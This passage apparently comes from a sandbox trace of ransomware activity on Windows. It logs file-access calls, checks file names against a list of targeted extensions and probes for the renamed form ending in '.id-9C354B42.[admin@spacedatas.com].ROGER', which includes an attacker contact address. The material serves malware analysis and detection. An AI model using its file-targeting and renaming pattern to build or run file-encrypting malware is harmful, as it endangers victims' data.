lpFileSize=0x3bfff1c*=14610) returned 1 [0050.268] CloseHandle (hObject=0x340) returned 1 [0050.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0050.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.269] lstrlenW (lpString=".doc") returned 4 [0050.269] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.269] lstrlenW (lpString=".docx") returned 5 [0050.269] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.269] lstrlenW (lpString=".pdf") returned 4 [0050.269] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.269] lstrlenW (lpString=".xls") returned 4 [0050.269] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.269] lstrlenW (lpString=".xlsx") returned 5 [0050.269] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.269] lstrlenW (lpString=".ppt") returned 4 [0050.269] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.269] lstrlenW (lpString=".zip") returned 4 [0050.269] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.269] lstrlenW (lpString=".rar") returned 4 [0050.269] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.269] lstrlenW (lpString=".bz2") returned 4 [0050.269] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.269] lstrlenW (lpString=".7z") returned 3 [0050.269] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString=".dbf") returned 4 [0050.270] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString=".1cd") returned 4 [0050.270] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString=".jpg") returned 4 [0050.270] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString=".doc") returned 4 [0050.270] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.270] lstrlenW (lpString=".docx") returned 5 [0050.270] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.270] lstrlenW (lpString=".pdf") returned 4 [0050.270] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString=".xls") returned 4 [0050.270] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString=".xlsx") returned 5 [0050.270] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.270] lstrlenW (lpString=".ppt") returned 4 [0050.270] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.270] lstrlenW (lpString=".zip") returned 4 [0050.270] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString=".rar") returned 4 [0050.270] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.270] lstrlenW (lpString=".bz2") returned 4 [0050.270] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.270] lstrlenW (lpString=".7z") returned 3 [0050.270] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.271] lstrlenW (lpString=".dbf") returned 4 [0050.271] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.271] lstrlenW (lpString=".1cd") returned 4 [0050.271] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.271] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0050.271] lstrlenW (lpString=".jpg") returned 4 [0050.271] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.271] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.271] lstrlenW (lpString="adovbs.inc") returned 10 [0050.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0050.271] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=14951) returned 1 [0050.271] CloseHandle (hObject=0x340) returned 1 [0050.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0050.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString=".doc") returned 4 [0050.272] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.272] lstrlenW (lpString=".docx") returned 5 [0050.272] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.272] lstrlenW (lpString=".pdf") returned 4 [0050.272] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.272] lstrlenW (lpString=".xls") returned 4 [0050.272] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.272] lstrlenW (lpString=".xlsx") returned 5 [0050.272] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.272] lstrlenW (lpString=".ppt") returned 4 [0050.272] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString=".zip") returned 4 [0050.272] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.272] lstrlenW (lpString=".rar") returned 4 [0050.272] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.272] lstrlenW (lpString=".bz2") returned 4 [0050.272] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.272] lstrlenW (lpString=".7z") returned 3 [0050.272] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString=".dbf") returned 4 [0050.272] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString=".1cd") returned 4 [0050.272] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.272] lstrlenW (lpString=".jpg") returned 4 [0050.273] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString=".doc") returned 4 [0050.273] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.273] lstrlenW (lpString=".docx") returned 5 [0050.273] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.273] lstrlenW (lpString=".pdf") returned 4 [0050.273] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString=".xls") returned 4 [0050.273] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString=".xlsx") returned 5 [0050.273] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.273] lstrlenW (lpString=".ppt") returned 4 [0050.273] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString=".zip") returned 4 [0050.273] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString=".rar") returned 4 [0050.273] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.273] lstrlenW (lpString=".bz2") returned 4 [0050.273] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.273] lstrlenW (lpString=".7z") returned 3 [0050.273] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString=".dbf") returned 4 [0050.273] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString=".1cd") returned 4 [0050.273] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0050.273] lstrlenW (lpString=".jpg") returned 4 [0050.273] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.274] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.274] lstrlenW (lpString="adcjavas.inc") returned 12 [0050.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0050.275] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=630) returned 1 [0050.275] CloseHandle (hObject=0x3ac) returned 1 [0050.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0050.275] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.275] lstrlenW (lpString=".doc") returned 4 [0050.275] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.275] lstrlenW (lpString=".docx") returned 5 [0050.275] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.275] lstrlenW (lpString=".pdf") returned 4 [0050.275] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.275] lstrlenW (lpString=".xls") returned 4 [0050.275] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.275] lstrlenW (lpString=".xlsx") returned 5 [0050.275] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.275] lstrlenW (lpString=".ppt") returned 4 [0050.275] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.275] lstrlenW (lpString=".zip") returned 4 [0050.275] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.275] lstrlenW (lpString=".rar") returned 4 [0050.276] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString=".bz2") returned 4 [0050.276] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.276] lstrlenW (lpString=".7z") returned 3 [0050.276] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString=".dbf") returned 4 [0050.276] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString=".1cd") returned 4 [0050.276] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString=".jpg") returned 4 [0050.276] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString=".doc") returned 4 [0050.276] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.276] lstrlenW (lpString=".docx") returned 5 [0050.276] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.276] lstrlenW (lpString=".pdf") returned 4 [0050.276] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString=".xls") returned 4 [0050.276] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString=".xlsx") returned 5 [0050.276] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.276] lstrlenW (lpString=".ppt") returned 4 [0050.276] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.276] lstrlenW (lpString=".zip") returned 4 [0050.276] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.276] lstrlenW (lpString=".rar") returned 4 [0050.277] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.277] lstrlenW (lpString=".bz2") returned 4 [0050.277] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.277] lstrlenW (lpString=".7z") returned 3 [0050.277] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.277] lstrlenW (lpString=".dbf") returned 4 [0050.277] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.277] lstrlenW (lpString=".1cd") returned 4 [0050.277] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0050.277] lstrlenW (lpString=".jpg") returned 4 [0050.277] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.277] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.277] lstrlenW (lpString="adcvbs.inc") returned 10 [0050.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0050.277] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=623) returned 1 [0050.277] CloseHandle (hObject=0x3ac) returned 1 [0050.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0050.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.278] lstrlenW (lpString=".doc") returned 4 [0050.278] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.278] lstrlenW (lpString=".docx") returned 5 [0050.278] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.278] lstrlenW (lpString=".pdf") returned 4 [0050.278] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.278] lstrlenW (lpString=".xls") returned 4 [0050.278] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.278] lstrlenW (lpString=".xlsx") returned 5 [0050.278] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.278] lstrlenW (lpString=".ppt") returned 4 [0050.278] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.278] lstrlenW (lpString=".zip") returned 4 [0050.278] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.278] lstrlenW (lpString=".rar") returned 4 [0050.278] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.278] lstrlenW (lpString=".bz2") returned 4 [0050.278] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.278] lstrlenW (lpString=".7z") returned 3 [0050.278] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.278] lstrlenW (lpString=".dbf") returned 4 [0050.278] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString=".1cd") returned 4 [0050.279] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString=".jpg") returned 4 [0050.279] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString=".doc") returned 4 [0050.279] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.279] lstrlenW (lpString=".docx") returned 5 [0050.279] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.279] lstrlenW (lpString=".pdf") returned 4 [0050.279] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString=".xls") returned 4 [0050.279] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString=".xlsx") returned 5 [0050.279] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.279] lstrlenW (lpString=".ppt") returned 4 [0050.279] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString=".zip") returned 4 [0050.279] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString=".rar") returned 4 [0050.279] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.279] lstrlenW (lpString=".bz2") returned 4 [0050.279] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.279] lstrlenW (lpString=".7z") returned 3 [0050.279] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.279] lstrlenW (lpString=".dbf") returned 4 [0050.279] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.280] lstrlenW (lpString=".1cd") returned 4 [0050.280] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0050.280] lstrlenW (lpString=".jpg") returned 4 [0050.280] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.280] lstrcmpiW (lpString1=".inc", lpString2=".ROGER") returned -1 [0050.280] lstrlenW (lpString="oledbjvs.inc") returned 12 [0050.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0050.281] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=9804) returned 1 [0050.281] CloseHandle (hObject=0x3ac) returned 1 [0050.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0050.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.282] lstrlenW (lpString=".doc") returned 4 [0050.282] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.282] lstrlenW (lpString=".docx") returned 5 [0050.282] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.282] lstrlenW (lpString=".pdf") returned 4 [0050.282] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.282] lstrlenW (lpString=".xls") returned 4 [0050.282] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.282] lstrlenW (lpString=".xlsx") returned 5 [0050.282] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.282] lstrlenW (lpString=".ppt") returned 4 [0050.282] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.282] lstrlenW (lpString=".zip") returned 4 [0050.282] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.282] lstrlenW (lpString=".rar") returned 4 [0050.282] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.282] lstrlenW (lpString=".bz2") returned 4 [0050.282] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.282] lstrlenW (lpString=".7z") returned 3 [0050.282] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.282] lstrlenW (lpString=".dbf") returned 4 [0050.282] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.283] lstrlenW (lpString=".1cd") returned 4 [0050.283] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.283] lstrlenW (lpString=".jpg") returned 4 [0050.283] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.283] lstrlenW (lpString=".doc") returned 4 [0050.283] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0050.283] lstrlenW (lpString=".docx") returned 5 [0050.283] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0050.283] lstrlenW (lpString=".pdf") returned 4 [0050.283] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString=".xls") returned 4 [0050.283] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString=".xlsx") returned 5 [0050.283] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0050.283] lstrlenW (lpString=".ppt") returned 4 [0050.283] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0050.283] lstrlenW (lpString=".zip") returned 4 [0050.283] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString=".rar") returned 4 [0050.283] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0050.283] lstrlenW (lpString=".bz2") returned 4 [0050.283] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0050.283] lstrlenW (lpString=".7z") returned 3 [0050.283] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0050.284] lstrlenW 